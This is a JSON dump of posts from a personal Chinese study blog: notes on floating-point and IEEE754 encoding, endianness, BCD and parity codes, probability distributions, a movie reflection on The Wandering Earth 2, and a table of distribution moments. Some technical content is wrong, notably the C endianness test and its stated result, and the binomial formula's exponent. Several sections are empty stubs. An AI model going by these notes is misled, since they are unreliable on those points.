class=\"headerlink\" title=\"编码表示\"\u003e\u003c/a\u003e编码表示\u003c/h3\u003e\u003cul\u003e\u003cli\u003e尾数$M$必须是小数,用$n+1$位定点小数表示,可用原码、补码。\u003c/li\u003e\u003cli\u003e阶码$E$必须为整数,以$k+1$位有符号定点整数表示,可用原码、补码、移码。\u003c/li\u003e\u003cli\u003e浮点数编码位数为$m=(n+1)+(k+1)$\u003c/li\u003e\u003c/ul\u003e\u003ch4 id=\"规格化浮点数\"\u003e\u003ca href=\"https://xeonds.github.io/2023/02/13/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BB%84%E6%88%90%E5%8E%9F%E7%90%86/%E8%AE%A1%E7%BB%84%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E4%BA%8C%E7%AB%A0-%E8%AE%A1%E7%AE%97%E6%9C%BA%E6%95%B0%E6%8D%AE%E8%A1%A8%E7%A4%BA/#%E8%A7%84%E6%A0%BC%E5%8C%96%E6%B5%AE%E7%82%B9%E6%95%B0\" class=\"headerlink\" title=\"规格化浮点数\"\u003e\u003c/a\u003e规格化浮点数\u003c/h4\u003e\u003cp\u003e对尾数无限制可能使得存储空间利用不充分,因此使用规格化形式表示。\u003c/p\u003e\u003cp\u003e定义 将尾数(记为$M$)的绝对值限定在规定的数值范围内:$1/2 \\leq |M| \\lt 1$,这样的浮点数就是规格化浮点数。实现这一点很简单,下面的尾数以补码表示:\u003c/p\u003e\u003cul\u003e\u003cli\u003e$M \\geq 0$:$M=0.1\\times\\times\\times\\cdots\\times$\u003c/li\u003e\u003cli\u003e$M \\lt 0$:$M=1.0\\times\\times\\times\\cdots\\times$\u003c/li\u003e\u003c/ul\u003e\u003ch3 id=\"浮点数溢出\"\u003e\u003ca href=\"https://xeonds.github.io/2023/02/13/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BB%84%E6%88%90%E5%8E%9F%E7%90%86/%E8%AE%A1%E7%BB%84%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E4%BA%8C%E7%AB%A0-%E8%AE%A1%E7%AE%97%E6%9C%BA%E6%95%B0%E6%8D%AE%E8%A1%A8%E7%A4%BA/#%E6%B5%AE%E7%82%B9%E6%95%B0%E6%BA%A2%E5%87%BA\" class=\"headerlink\" title=\"浮点数溢出\"\u003e\u003c/a\u003e浮点数溢出\u003c/h3\u003e\u003ch3 id=\"IEEE754标准\"\u003e\u003ca href=\"https://xeonds.github.io/2023/02/13/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BB%84%E6%88%90%E5%8E%9F%E7%90%86/%E8%AE%A1%E7%BB%84%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E4%BA%8C%E7%AB%A0-%E8%AE%A1%E7%AE%97%E6%9C%BA%E6%95%B0%E6%8D%AE%E8%A1%A8%E7%A4%BA/#IEEE754%E6%A0%87%E5%87%86\" class=\"headerlink\" title=\"IEEE754标准\"\u003e\u003c/a\u003eIEEE754标准\u003c/h3\u003e\u003ctable\u003e\u003cthead\u003e\u003ctr\u003e\u003cth align=\"left\"\u003e参数\u003c/th\u003e\u003cth align=\"center\"\u003e单精度浮点数\u003c/th\u003e\u003cth align=\"center\"\u003e双精度浮点数\u003c/th\u003e\u003c/tr\u003e\u003c/thead\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd align=\"left\"\u003e浮点数长度\u003c/td\u003e\u003ctd align=\"center\"\u003e32\u003c/td\u003e\u003ctd align=\"center\"\u003e64\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd align=\"left\"\u003e尾数长度$f$\u003c/td\u003e\u003ctd align=\"center\"\u003e23\u003c/td\u003e\u003ctd align=\"center\"\u003e52\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd align=\"left\"\u003e符号位$s$\u003c/td\u003e\u003ctd align=\"center\"\u003e1\u003c/td\u003e\u003ctd align=\"center\"\u003e1\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd align=\"left\"\u003e指数$e$长度\u003c/td\u003e\u003ctd align=\"center\"\u003e8\u003c/td\u003e\u003ctd align=\"center\"\u003e11\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003ch4 id=\"单精度浮点数\"\u003e\u003ca href=\"https://xeonds.github.io/2023/02/13/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BB%84%E6%88%90%E5%8E%9F%E7%90%86/%E8%AE%A1%E7%BB%84%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E4%BA%8C%E7%AB%A0-%E8%AE%A1%E7%AE%97%E6%9C%BA%E6%95%B0%E6%8D%AE%E8%A1%A8%E7%A4%BA/#%E5%8D%95%E7%B2%BE%E5%BA%A6%E6%B5%AE%E7%82%B9%E6%95%B0\" class=\"headerlink\" title=\"单精度浮点数\"\u003e\u003c/a\u003e单精度浮点数\u003c/h4\u003e\u003cp\u003e$$\u003cbr/\u003eN=(-1)^S\\times 2^{e-127}\\times 1.f\u003cbr/\u003e$$\u003c/p\u003e\u003chr/\u003e\u003cp\u003eIEEE754可以表示规格化浮点数,也可以表示非规格化浮点数。它表示越接近0的数越精确,越接近正负无穷的数越不准确。\u003c/p\u003e\u003ch3 id=\"浮点数存储\"\u003e\u003ca href=\"https://xeonds.github.io/2023/02/13/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BB%84%E6%88%90%E5%8E%9F%E7%90%86/%E8%AE%A1%E7%BB%84%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E4%BA%8C%E7%AB%A0-%E8%AE%A1%E7%AE%97%E6%9C%BA%E6%95%B0%E6%8D%AE%E8%A1%A8%E7%A4%BA/#%E6%B5%AE%E7%82%B9%E6%95%B0%E5%AD%98%E5%82%A8\" class=\"headerlink\" title=\"浮点数存储\"\u003e\u003c/a\u003e浮点数存储\u003c/h3\u003e\u003cp\u003e目前计算机主要推行小端存储:浮点数的四个字节从低位到高位分别存储在计算机内存地址的低位到高位。\u003c/p\u003e\u003ch4 id=\"大小端判断\"\u003e\u003ca href=\"https://xeonds.github.io/2023/02/13/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BB%84%E6%88%90%E5%8E%9F%E7%90%86/%E8%AE%A1%E7%BB%84%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E4%BA%8C%E7%AB%A0-%E8%AE%A1%E7%AE%97%E6%9C%BA%E6%95%B0%E6%8D%AE%E8%A1%A8%E7%A4%BA/#%E5%A4%A7%E5%B0%8F%E7%AB%AF%E5%88%A4%E6%96%AD\" class=\"headerlink\" title=\"大小端判断\"\u003e\u003c/a\u003e大小端判断\u003c/h4\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003evoid\u003c/span\u003e \u003cspan class=\"title function_\"\u003etype\u003c/span\u003e\u003cspan class=\"params\"\u003e()\u003c/span\u003e{\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"class\"\u003e\u003cspan class=\"keyword\"\u003eunion\u003c/span\u003e{\u003c/span\u003e\u003cspan class=\"type\"\u003efloat\u003c/span\u003e a; \u003cspan class=\"type\"\u003echar\u003c/span\u003e b;} i;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e i.a=\u003cspan class=\"number\"\u003e1\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;%d\u0026#34;\u003c/span\u003e, i.b);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e如果输出1,则说明计算机是小端存储。\u003c/p\u003e\u003ch3 id=\"浮点数模型表示范围\"\u003e\u003ca href=\"https://xeonds.github.io/2023/02/13/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BB%84%E6%88%90%E5%8E%9F%E7%90%86/%E8%AE%A1%E7%BB%84%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E4%BA%8C%E7%AB%A0-%E8%AE%A1%E7%AE%97%E6%9C%BA%E6%95%B0%E6%8D%AE%E8%A1%A8%E7%A4%BA/#%E6%B5%AE%E7%82%B9%E6%95%B0%E6%A8%A1%E5%9E%8B%E8%A1%A8%E7%A4%BA%E8%8C%83%E5%9B%B4\" class=\"headerlink\" title=\"浮点数模型表示范围\"\u003e\u003c/a\u003e浮点数模型表示范围\u003c/h3\u003e\u003ch4 id=\"思考题\"\u003e\u003ca href=\"https://xeonds.github.io/2023/02/13/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BB%84%E6%88%90%E5%8E%9F%E7%90%86/%E8%AE%A1%E7%BB%84%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E4%BA%8C%E7%AB%A0-%E8%AE%A1%E7%AE%97%E6%9C%BA%E6%95%B0%E6%8D%AE%E8%A1%A8%E7%A4%BA/#%E6%80%9D%E8%80%83%E9%A2%98\" class=\"headerlink\" title=\"思考题\"\u003e\u003c/a\u003e思考题\u003c/h4\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/IMG_20230215_115634.jpg\"/\u003e\u003c/p\u003e\u003cp\u003e已知迷你754编码规则如上,求它的表示范围。\u003c/p\u003e\u003ch2 id=\"BCD编码\"\u003e\u003ca href=\"https://xeonds.github.io/2023/02/13/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BB%84%E6%88%90%E5%8E%9F%E7%90%86/%E8%AE%A1%E7%BB%84%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E4%BA%8C%E7%AB%A0-%E8%AE%A1%E7%AE%97%E6%9C%BA%E6%95%B0%E6%8D%AE%E8%A1%A8%E7%A4%BA/#BCD%E7%BC%96%E7%A0%81\" class=\"headerlink\" title=\"BCD编码\"\u003e\u003c/a\u003eBCD编码\u003c/h2\u003e\u003cp\u003e典型的有8421码,这四个数字是位权。还有非位权码,比如余3码,格雷码等。\u003c/p\u003e\u003ch2 id=\"非数值编码\"\u003e\u003ca href=\"https://xeonds.github.io/2023/02/13/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BB%84%E6%88%90%E5%8E%9F%E7%90%86/%E8%AE%A1%E7%BB%84%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E4%BA%8C%E7%AB%A0-%E8%AE%A1%E7%AE%97%E6%9C%BA%E6%95%B0%E6%8D%AE%E8%A1%A8%E7%A4%BA/#%E9%9D%9E%E6%95%B0%E5%80%BC%E7%BC%96%E7%A0%81\" class=\"headerlink\" title=\"非数值编码\"\u003e\u003c/a\u003e非数值编码\u003c/h2\u003e\u003cp\u003eASCII,GB2312,GBK,还有兼容Unicode-2的编码。汉字编码用了变长数据,技术上类似于霍夫曼编码。\u003c/p\u003e\u003ch2 id=\"校验码\"\u003e\u003ca href=\"https://xeonds.github.io/2023/02/13/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BB%84%E6%88%90%E5%8E%9F%E7%90%86/%E8%AE%A1%E7%BB%84%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E4%BA%8C%E7%AB%A0-%E8%AE%A1%E7%AE%97%E6%9C%BA%E6%95%B0%E6%8D%AE%E8%A1%A8%E7%A4%BA/#%E6%A0%A1%E9%AA%8C%E7%A0%81\" class=\"headerlink\" title=\"校验码\"\u003e\u003c/a\u003e校验码\u003c/h2\u003e\u003cp\u003e传输过程中,检验数据是否有丢失/错误的一种检验手段。\u003c/p\u003e\u003ch3 id=\"奇偶校验码\"\u003e\u003ca href=\"https://xeonds.github.io/2023/02/13/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BB%84%E6%88%90%E5%8E%9F%E7%90%86/%E8%AE%A1%E7%BB%84%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E4%BA%8C%E7%AB%A0-%E8%AE%A1%E7%AE%97%E6%9C%BA%E6%95%B0%E6%8D%AE%E8%A1%A8%E7%A4%BA/#%E5%A5%87%E5%81%B6%E6%A0%A1%E9%AA%8C%E7%A0%81\" class=\"headerlink\" title=\"奇偶校验码\"\u003e\u003c/a\u003e奇偶校验码\u003c/h3\u003e\u003cp\u003e只有一位校验位,在数据的最高位。它表示数据中包括校验位在内的位的1的个数是奇数还是偶数。前者校验位为1,后者为0。\u003c/p\u003e\u003ch3 id=\"CRC冗余循环校验码\"\u003e\u003ca href=\"https://xeonds.github.io/2023/02/13/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BB%84%E6%88%90%E5%8E%9F%E7%90%86/%E8%AE%A1%E7%BB%84%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E4%BA%8C%E7%AB%A0-%E8%AE%A1%E7%AE%97%E6%9C%BA%E6%95%B0%E6%8D%AE%E8%A1%A8%E7%A4%BA/#CRC%E5%86%97%E4%BD%99%E5%BE%AA%E7%8E%AF%E6%A0%A1%E9%AA%8C%E7%A0%81\" class=\"headerlink\" title=\"CRC冗余循环校验码\"\u003e\u003c/a\u003eCRC冗余循环校验码\u003c/h3\u003e\u003c/body\u003e\u003c/html\u003e","url":"https://xeonds.github.io/2023/02/13/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BB%84%E6%88%90%E5%8E%9F%E7%90%86/%E8%AE%A1%E7%BB%84%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E4%BA%8C%E7%AB%A0-%E8%AE%A1%E7%AE%97%E6%9C%BA%E6%95%B0%E6%8D%AE%E8%A1%A8%E7%A4%BA/"},{"title":"第二章:随机变量及概率分布","time":"2023-02-04T04:15:20Z","content":"\u003chtml\u003e\u003chead\u003e\u003c/head\u003e\u003cbody\u003e\u003ch2 id=\"一维随机变量\"\u003e\u003ca href=\"https://xeonds.github.io/2023/02/04/%E6%95%B0%E5%AD%A6/%E6%A6%82%E7%8E%87%E8%AE%BA%E4%B8%8E%E6%95%B0%E7%90%86%E7%BB%9F%E8%AE%A1/%E7%AC%AC%E4%BA%8C%E7%AB%A0%EF%BC%9A%E9%9A%8F%E6%9C%BA%E5%8F%98%E9%87%8F%E5%8F%8A%E6%A6%82%E7%8E%87%E5%88%86%E5%B8%83/#%E4%B8%80%E7%BB%B4%E9%9A%8F%E6%9C%BA%E5%8F%98%E9%87%8F\" class=\"headerlink\" title=\"一维随机变量\"\u003e\u003c/a\u003e一维随机变量\u003c/h2\u003e\u003cp\u003e是关于实验结果的变量。实验结果用一系列离散值表示的称为\u003cstrong\u003e离散型随机变量\u003c/strong\u003e,用连续值表示的称为\u003cstrong\u003e连续型随机变量\u003c/strong\u003e。一维表示随机变量只包含一个关于实验结果的变量。\u003c/p\u003e\u003ch3 id=\"离散型随机变量分布\"\u003e\u003ca href=\"https://xeonds.github.io/2023/02/04/%E6%95%B0%E5%AD%A6/%E6%A6%82%E7%8E%87%E8%AE%BA%E4%B8%8E%E6%95%B0%E7%90%86%E7%BB%9F%E8%AE%A1/%E7%AC%AC%E4%BA%8C%E7%AB%A0%EF%BC%9A%E9%9A%8F%E6%9C%BA%E5%8F%98%E9%87%8F%E5%8F%8A%E6%A6%82%E7%8E%87%E5%88%86%E5%B8%83/#%E7%A6%BB%E6%95%A3%E5%9E%8B%E9%9A%8F%E6%9C%BA%E5%8F%98%E9%87%8F%E5%88%86%E5%B8%83\" class=\"headerlink\" title=\"离散型随机变量分布\"\u003e\u003c/a\u003e离散型随机变量分布\u003c/h3\u003e\u003cp\u003e就是各个实验结果的概率分布情况。例如随机掷一个6面骰子,结果可能是1-6,而每一个结果的概率都是$\\frac{1}{6}$,即$P(X=1)=P(X=2)=\\cdots =P(X=6)=\\frac{1}{6}$。\u003c/p\u003e\u003ch4 id=\"二项分布\"\u003e\u003ca href=\"https://xeonds.github.io/2023/02/04/%E6%95%B0%E5%AD%A6/%E6%A6%82%E7%8E%87%E8%AE%BA%E4%B8%8E%E6%95%B0%E7%90%86%E7%BB%9F%E8%AE%A1/%E7%AC%AC%E4%BA%8C%E7%AB%A0%EF%BC%9A%E9%9A%8F%E6%9C%BA%E5%8F%98%E9%87%8F%E5%8F%8A%E6%A6%82%E7%8E%87%E5%88%86%E5%B8%83/#%E4%BA%8C%E9%A1%B9%E5%88%86%E5%B8%83\" class=\"headerlink\" title=\"二项分布\"\u003e\u003c/a\u003e二项分布\u003c/h4\u003e\u003cblockquote\u003e\u003cp\u003e样本趋于无穷大情况下的超几何分布可以近似看作二项分布\u003c/p\u003e\u003c/blockquote\u003e\u003cp\u003e每次实验的结果只有两个,概率分别为$p$和$1-p$。这分布表示多次实验的结果分布,例如抛$n$次硬币,最终正面朝上的次数为$m$的概率就可以用二项分布表示。\u003c/p\u003e\u003ch4 id=\"泊松分布\"\u003e\u003ca href=\"https://xeonds.github.io/2023/02/04/%E6%95%B0%E5%AD%A6/%E6%A6%82%E7%8E%87%E8%AE%BA%E4%B8%8E%E6%95%B0%E7%90%86%E7%BB%9F%E8%AE%A1/%E7%AC%AC%E4%BA%8C%E7%AB%A0%EF%BC%9A%E9%9A%8F%E6%9C%BA%E5%8F%98%E9%87%8F%E5%8F%8A%E6%A6%82%E7%8E%87%E5%88%86%E5%B8%83/#%E6%B3%8A%E6%9D%BE%E5%88%86%E5%B8%83\" class=\"headerlink\" title=\"泊松分布\"\u003e\u003c/a\u003e泊松分布\u003c/h4\u003e\u003cp\u003e表示某种小概率事件发生的可能性。\u003c/p\u003e\u003ch4 id=\"超几何分布\"\u003e\u003ca href=\"https://xeonds.github.io/2023/02/04/%E6%95%B0%E5%AD%A6/%E6%A6%82%E7%8E%87%E8%AE%BA%E4%B8%8E%E6%95%B0%E7%90%86%E7%BB%9F%E8%AE%A1/%E7%AC%AC%E4%BA%8C%E7%AB%A0%EF%BC%9A%E9%9A%8F%E6%9C%BA%E5%8F%98%E9%87%8F%E5%8F%8A%E6%A6%82%E7%8E%87%E5%88%86%E5%B8%83/#%E8%B6%85%E5%87%A0%E4%BD%95%E5%88%86%E5%B8%83\" class=\"headerlink\" title=\"超几何分布\"\u003e\u003c/a\u003e超几何分布\u003c/h4\u003e\u003cp\u003e这用于处理抽样中的无放回情况概率。\u003c/p\u003e\u003ch4 id=\"负二项分布\"\u003e\u003ca href=\"https://xeonds.github.io/2023/02/04/%E6%95%B0%E5%AD%A6/%E6%A6%82%E7%8E%87%E8%AE%BA%E4%B8%8E%E6%95%B0%E7%90%86%E7%BB%9F%E8%AE%A1/%E7%AC%AC%E4%BA%8C%E7%AB%A0%EF%BC%9A%E9%9A%8F%E6%9C%BA%E5%8F%98%E9%87%8F%E5%8F%8A%E6%A6%82%E7%8E%87%E5%88%86%E5%B8%83/#%E8%B4%9F%E4%BA%8C%E9%A1%B9%E5%88%86%E5%B8%83\" class=\"headerlink\" title=\"负二项分布\"\u003e\u003c/a\u003e负二项分布\u003c/h4\u003e\u003cp\u003e?\u003c/p\u003e\u003ch3 id=\"连续型随机变量分布\"\u003e\u003ca href=\"https://xeonds.github.io/2023/02/04/%E6%95%B0%E5%AD%A6/%E6%A6%82%E7%8E%87%E8%AE%BA%E4%B8%8E%E6%95%B0%E7%90%86%E7%BB%9F%E8%AE%A1/%E7%AC%AC%E4%BA%8C%E7%AB%A0%EF%BC%9A%E9%9A%8F%E6%9C%BA%E5%8F%98%E9%87%8F%E5%8F%8A%E6%A6%82%E7%8E%87%E5%88%86%E5%B8%83/#%E8%BF%9E%E7%BB%AD%E5%9E%8B%E9%9A%8F%E6%9C%BA%E5%8F%98%E9%87%8F%E5%88%86%E5%B8%83\" class=\"headerlink\" title=\"连续型随机变量分布\"\u003e\u003c/a\u003e连续型随机变量分布\u003c/h3\u003e\u003cp\u003e连续型随机变量激就是之前说过的那种,事件结果是不可数正无穷的(比如在坐标系里随机丢一个钉子,其位置到原点的距离)。\u003c/p\u003e\u003ch4 id=\"正态分布\"\u003e\u003ca href=\"https://xeonds.github.io/2023/02/04/%E6%95%B0%E5%AD%A6/%E6%A6%82%E7%8E%87%E8%AE%BA%E4%B8%8E%E6%95%B0%E7%90%86%E7%BB%9F%E8%AE%A1/%E7%AC%AC%E4%BA%8C%E7%AB%A0%EF%BC%9A%E9%9A%8F%E6%9C%BA%E5%8F%98%E9%87%8F%E5%8F%8A%E6%A6%82%E7%8E%87%E5%88%86%E5%B8%83/#%E6%AD%A3%E6%80%81%E5%88%86%E5%B8%83\" class=\"headerlink\" title=\"正态分布\"\u003e\u003c/a\u003e正态分布\u003c/h4\u003e\u003cp\u003e也叫高斯分布。\u003c/p\u003e\u003ch4 id=\"指数分布\"\u003e\u003ca href=\"https://xeonds.github.io/2023/02/04/%E6%95%B0%E5%AD%A6/%E6%A6%82%E7%8E%87%E8%AE%BA%E4%B8%8E%E6%95%B0%E7%90%86%E7%BB%9F%E8%AE%A1/%E7%AC%AC%E4%BA%8C%E7%AB%A0%EF%BC%9A%E9%9A%8F%E6%9C%BA%E5%8F%98%E9%87%8F%E5%8F%8A%E6%A6%82%E7%8E%87%E5%88%86%E5%B8%83/#%E6%8C%87%E6%95%B0%E5%88%86%E5%B8%83\" class=\"headerlink\" title=\"指数分布\"\u003e\u003c/a\u003e指数分布\u003c/h4\u003e\u003cp\u003e?\u003c/p\u003e\u003ch4 id=\"威布尔分布\"\u003e\u003ca href=\"https://xeonds.github.io/2023/02/04/%E6%95%B0%E5%AD%A6/%E6%A6%82%E7%8E%87%E8%AE%BA%E4%B8%8E%E6%95%B0%E7%90%86%E7%BB%9F%E8%AE%A1/%E7%AC%AC%E4%BA%8C%E7%AB%A0%EF%BC%9A%E9%9A%8F%E6%9C%BA%E5%8F%98%E9%87%8F%E5%8F%8A%E6%A6%82%E7%8E%87%E5%88%86%E5%B8%83/#%E5%A8%81%E5%B8%83%E5%B0%94%E5%88%86%E5%B8%83\" class=\"headerlink\" title=\"威布尔分布\"\u003e\u003c/a\u003e威布尔分布\u003c/h4\u003e\u003cp\u003e?\u003c/p\u003e\u003ch2 id=\"多维随机变量\"\u003e\u003ca href=\"https://xeonds.github.io/2023/02/04/%E6%95%B0%E5%AD%A6/%E6%A6%82%E7%8E%87%E8%AE%BA%E4%B8%8E%E6%95%B0%E7%90%86%E7%BB%9F%E8%AE%A1/%E7%AC%AC%E4%BA%8C%E7%AB%A0%EF%BC%9A%E9%9A%8F%E6%9C%BA%E5%8F%98%E9%87%8F%E5%8F%8A%E6%A6%82%E7%8E%87%E5%88%86%E5%B8%83/#%E5%A4%9A%E7%BB%B4%E9%9A%8F%E6%9C%BA%E5%8F%98%E9%87%8F\" class=\"headerlink\" title=\"多维随机变量\"\u003e\u003c/a\u003e多维随机变量\u003c/h2\u003e\u003cp\u003e也称为随机向量,是由多个随机变量构成的向量。\u003c/p\u003e\u003chr/\u003e\u003cp\u003e后面再写\u003c/p\u003e\u003c/body\u003e\u003c/html\u003e","url":"https://xeonds.github.io/2023/02/04/%E6%95%B0%E5%AD%A6/%E6%A6%82%E7%8E%87%E8%AE%BA%E4%B8%8E%E6%95%B0%E7%90%86%E7%BB%9F%E8%AE%A1/%E7%AC%AC%E4%BA%8C%E7%AB%A0%EF%BC%9A%E9%9A%8F%E6%9C%BA%E5%8F%98%E9%87%8F%E5%8F%8A%E6%A6%82%E7%8E%87%E5%88%86%E5%B8%83/"},{"title":"流浪地球2观影小记","time":"2023-02-02T09:12:22Z","content":"\u003chtml\u003e\u003chead\u003e\u003c/head\u003e\u003cbody\u003e\u003cp\u003e刚才回想的时候,对2的几个细节有一些猜测。稍微整理一下思路吧。我尽量猜的贴近电影原剧情一点(\u003c/p\u003e\u003cp\u003e1.2075木星危机后,moss或许已经寄了?\u003c/p\u003e\u003cp\u003e首先是隔离计划:出现在片尾ed前,内容是把AI全部转移到领航者号国际空间站上,同时AI决策都要经过联合国审核。名义上是转移AI帮助建设,实际感觉有和重要系统(地球发动机控制中心)切割的意图。\u003c/p\u003e\u003cp\u003e因为球2里边,控制中心应该是在建的状态,因为那时(2058)发动机专用网络尚未完成,得依赖互联网根服务器才能并网点火。而且字母也写的很清楚,那个控制中心是临时的。所以这“切割”确实有道理:网络尚未完成,先把moss丢远点防着它再搞事(×)。毕竟周复盘2058一定会疑惑:月1发动机咋炸的。根据周掌握的信息,他可能是有意识切割AI到空间站的。\u003c/p\u003e\u003cp\u003e其次:1的最后领航者号炸的只剩下个休眠仓了\u003c/p\u003e\u003cp\u003e不过有一个问题我想不通,就是2的ed后彩蛋:moss提到了2078氦闪危机,这和我的猜测矛盾。我本身不太能认可时间可逆转的设定\u003c/p\u003e\u003cp\u003e不过向过去用中微子发信我不知道有没有可能,因为在片尾,DUDE中微子实验室于2065年收到了2075木星危机的告警。但是我还是倾向于都是它干的,只不过它提前10年通知了\u003c/p\u003e\u003cp\u003e2.彩蛋情节发生在何时?\u003c/p\u003e\u003cp\u003e片尾ed一转拆红包(是新年元素(确信))出来2075预告。看背景也有点像空间站。\u003c/p\u003e\u003c/body\u003e\u003c/html\u003e","url":"https://xeonds.github.io/2023/02/02/%E6%96%87%E5%AD%A6/%E6%9D%82%E8%B0%88/%E6%B5%81%E6%B5%AA%E5%9C%B0%E7%90%832%E8%A7%82%E5%BD%B1%E5%B0%8F%E8%AE%B0/"},{"title":"常用分布的期望和方差","time":"2023-01-30T19:24:43Z","content":"\u003chtml\u003e\u003chead\u003e\u003c/head\u003e\u003cbody\u003e\u003ctable\u003e\u003cthead\u003e\u003ctr\u003e\u003cth\u003e分布\u003c/th\u003e\u003cth\u003e分布律/概率密度\u003c/th\u003e\u003cth align=\"center\"\u003e数学期望\u003c/th\u003e\u003cth align=\"center\"\u003e方差\u003c/th\u003e\u003c/tr\u003e\u003c/thead\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd\u003e0-1分布\u003c/td\u003e\u003ctd\u003e$p(x=k)=p^k(1-p)^{1-k},k=0,1$\u003c/td\u003e\u003ctd align=\"center\"\u003e$p$\u003c/td\u003e\u003ctd align=\"center\"\u003e$p(1-p)$\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e二项分布$B(n,p)$\u003c/td\u003e\u003ctd\u003e$P(x=k)=C_n^kp^k(1-p)^{1-k}$\u003c/td\u003e\u003ctd align=\"center\"\u003e$np$\u003c/td\u003e\u003ctd align=\"center\"\u003e$np(1-p)$\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e泊松分布$P(\\lambda)$\u003c/td\u003e\u003ctd\u003e$P(x=k)=\\frac{\\lambda^ke^{-\\lambda}}{k!}$\u003c/td\u003e\u003ctd align=\"center\"\u003e$\\lambda$\u003c/td\u003e\u003ctd align=\"center\"\u003e$\\lambda$\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e均匀分布$U(a,b)$\u003c/td\u003e\u003ctd\u003e$f(x)=\\frac{1}{b-a},(a\\lt x\\lt b)$\u003c/td\u003e\u003ctd align=\"center\"\u003e$\\frac{a+b}{2}$\u003c/td\u003e\u003ctd align=\"center\"\u003e$\\frac{(b-a)^2}{12}$\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e正态分布$N(\\mu,\\sigma^2)$\u003c/td\u003e\u003ctd\u003e$f(x)=\\frac{1}{\\sqrt{2\\pi}\\sigma}e^{-\\frac{(x-\\mu)^2}{2\\sigma^2}}$\u003c/td\u003e\u003ctd align=\"center\"\u003e$\\mu$\u003c/td\u003e\u003ctd 